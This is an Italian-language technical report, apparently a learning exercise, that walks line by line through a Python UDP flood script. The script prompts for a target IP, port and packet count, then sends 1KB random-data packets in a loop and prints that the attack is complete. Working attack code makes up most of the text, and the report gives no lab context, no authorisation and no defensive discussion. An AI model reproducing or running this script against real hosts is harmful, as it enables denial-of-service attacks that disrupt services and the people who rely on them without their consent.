

Report Tecnico: Spiegazione del Codice UDP Flood

Obiettivo

Simulare un attacco DoS (Denial of Service) di tipo **UDP Flood**, inviando pacchetti UDP da 1KB verso una macchina target specificata dall'utente.

1. Importazione dei Moduli

```
import socket
import random
```

- **socket**: Usato per creare il socket UDP e inviare pacchetti in rete.
 - **random**: Usato per generare byte casuali da inserire nei pacchetti da 1KB.
-

2. Richiesta Input all'Utente

```
target_ip = input("Inserisci l'IP della macchina target: ")
target_port = int(input("Inserisci la porta UDP della macchina target: "))
num_packets = int(input("Quanti pacchetti da 1KB vuoi inviare? "))
```

- **target_ip**: L'indirizzo IP della macchina bersaglio (obbligatorio per sapere dove inviare i pacchetti).
 - **target_port**: La porta UDP su cui il target è in ascolto (necessario per sapere a quale servizio inviare).
 - **num_packets**: Numero totale di pacchetti da 1KB che l'utente desidera inviare (serve per controllare il ciclo di invio).
-

3. Creazione del Socket UDP

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
```

- **socket.AF_INET**: Indica che stiamo usando un indirizzo IPv4.

- **socket.SOCK_DGRAM**: Specifica che vogliamo usare UDP (protocollo senza connessione, ideale per flood).
-

4. Costruzione del Pacchetto da 1KB

```
data = random._urandom(1024)
```

- **random._urandom(1024)**: Genera 1024 byte (1KB) di dati casuali.
 - Questo rende ogni pacchetto "pieno" e conforme alla richiesta di inviare pacchetti da 1KB.
-

5. Stampa Messaggio Iniziale

```
print(f"\nInizio invio di {num_packets} pacchetti da 1KB verso {target_ip}:{target_port}...\n")
```

- Serve a confermare all'utente che l'invio sta per iniziare e mostra le informazioni inserite.
-

6. Invio dei Pacchetti (Ciclo For)

```
for i in range(num_packets):  
    sock.sendto(data, (target_ip, target_port))  
    print(f"Pacchetto {i+1} inviato")
```

- **for i in range(num_packets)**: Crea un ciclo che si ripete tante volte quanto il numero di pacchetti specificato.
- **sock.sendto(data, (target_ip, target_port))**:
 - Invia il pacchetto da 1KB verso l'IP e la porta scelti.
 - UDP non richiede connessione, quindi ogni pacchetto è "sparato" direttamente.
- **print(f"Pacchetto {i+1} inviato")**:

- Mostra all'utente un contatore per vedere l'avanzamento.
-

7. Messaggio di Fine

```
print("\nAttacco UDP flood completato.")
```

- Comunica all'utente che l'invio dei pacchetti è terminato correttamente.
-

Riassunto Tecnico

- Questo script usa **socket UDP** per inviare pacchetti senza stabilire una connessione.
 - Usa **pacchetti da 1KB** pieni di dati casuali.
 - È controllato completamente dall'utente (IP, porta, numero pacchetti).
-

Competenze Apprese

- Uso di **socket UDP** in Python
- Generazione di dati casuali con `random._urandom()`
- Creazione di script interattivi con `input()`
- Simulazione pratica di un attacco DoS (UDP Flood)